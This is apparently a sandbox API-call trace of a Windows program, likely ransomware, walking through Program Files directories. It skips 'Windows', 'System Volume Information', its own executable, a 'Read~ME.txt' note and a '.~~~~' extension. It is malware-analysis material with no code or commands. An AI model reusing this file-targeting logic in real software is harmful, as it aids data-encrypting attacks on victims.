	[0079.278] StrStrW (lpFirst="WT61FR.LEX", lpSrch=".~~~~") returned 0x0
	[0079.278] lstrcmpW (lpString1="WT61FR.LEX", lpString2="Read~ME.txt") returned 1
	[0079.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7108
	[0079.278] GetCurrentThreadId () returned 0x618
	[0079.278] RtlWakeConditionVariable () returned 0x365f48
	[0079.278] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 0
	[0079.278] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0079.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7108
	[0079.279] GetCurrentThreadId () returned 0x618
	[0079.279] RtlWakeConditionVariable () returned 0x365f48
	[0079.280] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd541900, ftCreationTime.dwHighDateTime=0x1c911ec, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd541900, ftLastWriteTime.dwHighDateTime=0x1c911ec, nFileSizeHigh=0x0, nFileSizeLow=0x205b0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1AR.LEX", cAlternateFileName="")) returned 1
	[0079.280] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2="Windows") returned -1
	[0079.280] lstrcmpW (lpString1="MSB1AR.LEX", lpString2="oiikyy.exe") returned -1
	[0079.280] StrStrW (lpFirst="MSB1AR.LEX", lpSrch=".~~~~") returned 0x0
	[0079.280] lstrcmpW (lpString1="MSB1AR.LEX", lpString2="Read~ME.txt") returned -1
	[0079.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0870
	[0079.280] GetCurrentThreadId () returned 0x618
	[0079.280] RtlWakeConditionVariable () returned 0x365f48
	[0079.280] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7780a100, ftCreationTime.dwHighDateTime=0x1c4d75f, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7780a100, ftLastWriteTime.dwHighDateTime=0x1c4d75f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1CACH.LEX", cAlternateFileName="")) returned 1
	[0079.280] lstrcmpiW (lpString1="MSB1CACH.LEX", lpString2="Windows") returned -1
	[0079.280] lstrcmpW (lpString1="MSB1CACH.LEX", lpString2="oiikyy.exe") returned -1
	[0079.280] StrStrW (lpFirst="MSB1CACH.LEX", lpSrch=".~~~~") returned 0x0
	[0079.280] lstrcmpW (lpString1="MSB1CACH.LEX", lpString2="Read~ME.txt") returned -1
	[0079.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7108
	[0079.280] GetCurrentThreadId () returned 0x618
	[0079.281] RtlWakeConditionVariable () returned 0x365f48
	[0079.281] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c6bc00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5c6bc00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x2b990, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1CORE.DLL", cAlternateFileName="")) returned 1
	[0079.281] lstrcmpiW (lpString1="MSB1CORE.DLL", lpString2="Windows") returned -1
	[0079.281] lstrcmpW (lpString1="MSB1CORE.DLL", lpString2="oiikyy.exe") returned -1
	[0079.281] StrStrW (lpFirst="MSB1CORE.DLL", lpSrch=".~~~~") returned 0x0
	[0079.281] lstrcmpW (lpString1="MSB1CORE.DLL", lpString2="Read~ME.txt") returned -1
	[0079.281] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7108
	[0079.281] GetCurrentThreadId () returned 0x618
	[0079.281] RtlWakeConditionVariable () returned 0x365f48
	[0079.281] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38c6e400, ftCreationTime.dwHighDateTime=0x1ca6d6a, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38c6e400, ftLastWriteTime.dwHighDateTime=0x1ca6d6a, nFileSizeHigh=0x0, nFileSizeLow=0x40f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1STAR.DLL", cAlternateFileName="")) returned 1
	[0079.281] lstrcmpiW (lpString1="MSB1STAR.DLL", lpString2="Windows") returned -1
	[0079.281] lstrcmpW (lpString1="MSB1STAR.DLL", lpString2="oiikyy.exe") returned -1
	[0079.281] StrStrW (lpFirst="MSB1STAR.DLL", lpSrch=".~~~~") returned 0x0
	[0079.281] lstrcmpW (lpString1="MSB1STAR.DLL", lpString2="Read~ME.txt") returned -1
	[0079.281] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7108
	[0079.281] GetCurrentThreadId () returned 0x618
	[0079.281] RtlWakeConditionVariable () returned 0x365f48
	[0079.281] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4958f00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4958f00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x11390, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1XTOR.DLL", cAlternateFileName="")) returned 1
	[0079.281] lstrcmpiW (lpString1="MSB1XTOR.DLL", lpString2="Windows") returned -1
	[0079.281] lstrcmpW (lpString1="MSB1XTOR.DLL", lpString2="oiikyy.exe") returned -1
	[0079.281] StrStrW (lpFirst="MSB1XTOR.DLL", lpSrch=".~~~~") returned 0x0
	[0079.281] lstrcmpW (lpString1="MSB1XTOR.DLL", lpString2="Read~ME.txt") returned -1
	[0079.281] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7108
	[0079.281] GetCurrentThreadId () returned 0x618
	[0079.281] RtlWakeConditionVariable () returned 0x365f48
	[0079.282] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 1
	[0079.282] lstrcmpiW (lpString1="WTSP61MS.DLL", lpString2="Windows") returned 1
	[0079.282] lstrcmpW (lpString1="WTSP61MS.DLL", lpString2="oiikyy.exe") returned 1
	[0079.282] StrStrW (lpFirst="WTSP61MS.DLL", lpSrch=".~~~~") returned 0x0
	[0079.282] lstrcmpW (lpString1="WTSP61MS.DLL", lpString2="Read~ME.txt") returned 1
	[0079.282] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7108
	[0079.282] GetCurrentThreadId () returned 0x618
	[0079.282] RtlWakeConditionVariable () returned 0x365f48
	[0079.282] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 0
	[0079.282] FindClose (in: hFindFile=0x37a848 | out: hFindFile=0x37a848) returned 1
	[0079.282] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0870
	[0079.282] GetCurrentThreadId () returned 0x618
	[0079.282] RtlWakeConditionVariable () returned 0x365f48
	[0079.282] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Triedit", cAlternateFileName="")) returned 1
	[0079.282] lstrcmpiW (lpString1="Triedit", lpString2="Windows") returned -1
	[0079.282] lstrcmpW (lpString1="Triedit", lpString2=".") returned 1
	[0079.282] lstrcmpW (lpString1="Triedit", lpString2="..") returned 1
	[0079.282] lstrcmpW (lpString1="Triedit", lpString2="AppData") returned 1
	[0079.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit", lpSrch="AppData") returned 0x0
	[0079.283] lstrlenW (lpString="C:\\Windows") returned 10
	[0079.283] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit", lpString2="C:\\Windows") returned -1
	[0079.283] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0079.283] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit", lpString2="C:\\System Volume Information") returned -1
	[0079.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0079.283] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*", lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a848
	[0079.283] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0079.283] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0079.283] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0079.283] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0079.283] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0079.284] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.284] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0079.284] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0079.284] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0079.284] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0079.284] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0079.284] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0079.284] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0079.284] lstrcmpiW (lpString1="en-US", lpString2="Windows") returned -1
	[0079.284] lstrcmpW (lpString1="en-US", lpString2=".") returned 1
	[0079.284] lstrcmpW (lpString1="en-US", lpString2="..") returned 1
	[0079.284] lstrcmpW (lpString1="en-US", lpString2="AppData") returned 1
	[0079.284] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US", lpSrch="AppData") returned 0x0
	[0079.284] lstrlenW (lpString="C:\\Windows") returned 10
	[0079.284] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US", lpString2="C:\\Windows") returned -1
	[0079.284] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0079.284] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US", lpString2="C:\\System Volume Information") returned -1
	[0079.284] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0079.285] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0079.417] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0079.417] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0079.417] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0079.417] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0079.417] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0079.417] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.417] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0079.417] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0079.417] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0079.417] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0079.417] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0079.417] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0079.417] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0079.417] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0079.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6fe8
	[0079.419] GetCurrentThreadId () returned 0x618
	[0079.419] RtlWakeConditionVariable () returned 0x365f48
	[0079.419] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
	[0079.419] FindClose (in: hFindFile=0x37a848 | out: hFindFile=0x37a848) returned 1
	[0079.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb110
	[0079.419] GetCurrentThreadId () returned 0x618
	[0079.419] RtlWakeConditionVariable () returned 0x365f48
	[0079.419] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1
	[0079.420] lstrcmpiW (lpString1="VBA", lpString2="Windows") returned -1
	[0079.420] lstrcmpW (lpString1="VBA", lpString2=".") returned 1
	[0079.420] lstrcmpW (lpString1="VBA", lpString2="..") returned 1
	[0079.420] lstrcmpW (lpString1="VBA", lpString2="AppData") returned 1
	[0079.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA", lpSrch="AppData") returned 0x0
	[0079.420] lstrlenW (lpString="C:\\Windows") returned 10
	[0079.420] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA", lpString2="C:\\Windows") returned -1
	[0079.420] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0079.420] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA", lpString2="C:\\System Volume Information") returned -1
	[0079.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0079.420] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*", lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a848
	[0079.440] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0079.440] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0079.440] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0079.440] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0079.440] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0079.440] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.440] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0079.440] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0079.440] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0079.440] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0079.440] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0079.440] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0079.440] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 1
	[0079.440] lstrcmpiW (lpString1="VBA7", lpString2="Windows") returned -1
	[0079.440] lstrcmpW (lpString1="VBA7", lpString2=".") returned 1
	[0079.440] lstrcmpW (lpString1="VBA7", lpString2="..") returned 1
	[0079.440] lstrcmpW (lpString1="VBA7", lpString2="AppData") returned 1
	[0079.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7", lpSrch="AppData") returned 0x0
	[0079.440] lstrlenW (lpString="C:\\Windows") returned 10
	[0079.441] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7", lpString2="C:\\Windows") returned -1
	[0079.441] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0079.441] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7", lpString2="C:\\System Volume Information") returned -1
	[0079.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0079.441] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0079.441] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0079.441] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0079.442] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0079.442] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0079.442] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0079.442] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.442] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0079.442] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0079.442] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0079.442] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0079.442] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0079.442] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0079.442] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0079.442] lstrcmpiW (lpString1="1033", lpString2="Windows") returned -1
	[0079.442] lstrcmpW (lpString1="1033", lpString2=".") returned 1
	[0079.442] lstrcmpW (lpString1="1033", lpString2="..") returned 1
	[0079.442] lstrcmpW (lpString1="1033", lpString2="AppData") returned -1
	[0079.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033", lpSrch="AppData") returned 0x0
	[0079.442] lstrlenW (lpString="C:\\Windows") returned 10
	[0079.442] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033", lpString2="C:\\Windows") returned -1
	[0079.443] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0079.443] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033", lpString2="C:\\System Volume Information") returned -1
	[0079.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3bc6e8
	[0079.443] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*", lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a8c8
	[0079.473] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0079.473] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0079.473] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0079.473] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0079.473] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
